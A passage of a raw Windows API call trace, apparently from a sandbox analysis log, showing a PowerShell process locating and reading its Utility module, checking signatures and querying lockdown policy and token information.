nFileSizeLow=0x0)) returned 0 [0157.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcfa4) returned 1 [0157.751] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0157.751] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0157.751] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bdcf24, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0157.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0157.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0157.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0157.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcdb0) returned 1 [0157.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bdd074 | out: lpFileInformation=0x5bdd074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcdac) returned 1 [0157.758] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0157.760] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0157.766] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0157.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0157.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0157.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcdb0) returned 1 [0157.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bdd074 | out: lpFileInformation=0x5bdd074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcdac) returned 1 [0157.772] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0157.775] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0157.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0157.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0157.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcdb0) returned 1 [0157.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bdd074 | out: lpFileInformation=0x5bdd074*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcdac) returned 1 [0157.780] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0157.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0158.160] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0158.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.161] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.161] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bdcdd4, Length=0x20, ResultLength=0x5bdce44 | out: SystemInformation=0x5bdcdd4, ResultLength=0x5bdce44*=0x0) returned 0xc0000003 [0158.161] GetSystemInfo (in: lpSystemInfo=0x5bdce50 | out: lpSystemInfo=0x5bdce50*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0158.161] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdcde0 | out: phkResult=0x5bdcde0*=0x568) returned 0x0 [0158.162] RegQueryValueExW (in: hKey=0x568, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bdcdfc, lpData=0x0, lpcbData=0x5bdcdf8*=0x0 | out: lpType=0x5bdcdfc*=0x0, lpData=0x0, lpcbData=0x5bdcdf8*=0x0) returned 0x2 [0158.162] RegCloseKey (hKey=0x568) returned 0x0 [0158.162] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.162] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcb84) returned 1 [0158.162] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x22e287c | out: lpFileInformation=0x22e287c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0158.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcb80) returned 1 [0158.162] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.163] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcb44) returned 1 [0158.163] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bdce08 | out: lpFileInformation=0x5bdce08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0158.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcb40) returned 1 [0158.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.167] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcad8) returned 1 [0158.167] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bdcd9c | out: lpFileInformation=0x5bdcd9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0158.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcad4) returned 1 [0158.168] CoTaskMemAlloc (cb=0x10) returned 0x5f71cc8 [0158.168] CoTaskMemAlloc (cb=0x10) returned 0x5f71c98 [0158.168] CoTaskMemAlloc (cb=0xe4) returned 0x5c15f8 [0158.168] CoTaskMemAlloc (cb=0x30) returned 0x5aab90 [0158.168] WinVerifyTrust () returned 0x800b0100 [0158.181] CoTaskMemFree (pv=0x5f71cc8) [0158.181] CoTaskMemFree (pv=0x5aab90) [0158.181] CryptCATHandleFromStore () returned 0x5baf40 [0158.181] WTHelperGetProvSignerFromChain () returned 0x0 [0158.182] CoTaskMemAlloc (cb=0x10) returned 0x5f71cc8 [0158.182] CoTaskMemAlloc (cb=0x30) returned 0x5aab90 [0158.182] WinVerifyTrust () returned 0x0 [0158.182] CoTaskMemFree (pv=0x5aab90) [0158.182] CoTaskMemFree (pv=0x5f71cc8) [0158.182] CoTaskMemFree (pv=0x5c15f8) [0158.182] CoTaskMemFree (pv=0x5f71c98) [0158.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcd90) returned 1 [0158.183] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x568 [0158.183] GetFileType (hFile=0x568) returned 0x1 [0158.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdcd8c) returned 1 [0158.183] GetFileType (hFile=0x568) returned 0x1 [0158.183] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x0 [0158.183] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.184] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x1000 [0158.184] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.184] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x2000 [0158.184] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.185] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x3000 [0158.185] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.185] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x4000 [0158.185] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.185] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x5000 [0158.186] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.189] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x6000 [0158.189] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x1000, lpOverlapped=0x0) returned 1 [0158.189] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x7000 [0158.189] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x778, lpOverlapped=0x0) returned 1 [0158.190] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x7778 [0158.190] ReadFile (in: hFile=0x568, lpBuffer=0x22e37a8, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e37a8*, lpNumberOfBytesRead=0x5bdcdf8*=0x0, lpOverlapped=0x0) returned 1 [0158.190] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdcdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdcdcc*=0) returned 0x7778 [0158.190] ReadFile (in: hFile=0x568, lpBuffer=0x22e4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bdcdf8, lpOverlapped=0x0 | out: lpBuffer=0x22e4090*, lpNumberOfBytesRead=0x5bdcdf8*=0x0, lpOverlapped=0x0) returned 1 [0158.190] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bdcd60, Length=0x20, ResultLength=0x5bdcdd0 | out: SystemInformation=0x5bdcd60, ResultLength=0x5bdcdd0*=0x0) returned 0xc0000003 [0158.191] GetSystemInfo (in: lpSystemInfo=0x5bdcddc | out: lpSystemInfo=0x5bdcddc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0158.191] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdcd6c | out: phkResult=0x5bdcd6c*=0x564) returned 0x0 [0158.191] RegQueryValueExW (in: hKey=0x564, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bdcd88, lpData=0x0, lpcbData=0x5bdcd84*=0x0 | out: lpType=0x5bdcd88*=0x0, lpData=0x0, lpcbData=0x5bdcd84*=0x0) returned 0x2 [0158.191] RegCloseKey (hKey=0x564) returned 0x0 [0158.192] CloseHandle (hObject=0x568) returned 1 [0158.395] CoCreateGuid (in: pguid=0x5bdcea0 | out: pguid=0x5bdcea0*(Data1=0x386631ed, Data2=0xcd86, Data3=0x4b45, Data4=([0]=0x84, [1]=0xb2, [2]=0xea, [3]=0xe4, [4]=0x80, [5]=0xcd, [6]=0xf8, [7]=0x81))) returned 0x0 [0158.396] GetTokenInformation (in: TokenHandle=0x568, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bdce6c | out: TokenInformation=0x0, ReturnLength=0x5bdce6c) returned 0 [0158.396] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5f851a0 [0158.397] GetTokenInformation (in: TokenHandle=0x568, TokenInformationClass=0x8, TokenInformation=0x5f851a0, TokenInformationLength=0x4, ReturnLength=0x5bdce6c | out: TokenInformation=0x5f851a0, ReturnLength=0x5bdce6c) returned 1 [0158.397] LocalFree (hMem=0x5f851a0) returned 0x0 [0158.397] GetTokenInformation (in: TokenHandle=0x568, TokenInformationClass=0x9, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bdce6c | out: TokenInformation=0x0, ReturnLength=0x5bdce6c) returned 0 [0158.397] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5f851a0 [0158.397] GetTokenInformation (in: TokenHandle=0x568, TokenInformationClass=0x9, TokenInformation=0x5f851a0, TokenInformationLength=0x4, ReturnLength=0x5bdce6c | out: TokenInformation=0x5f851a0, ReturnLength=0x5bdce6c) returned 1 [0158.397] LocalFree (hMem=0x5f851a0) returned 0x0 [0158.397] 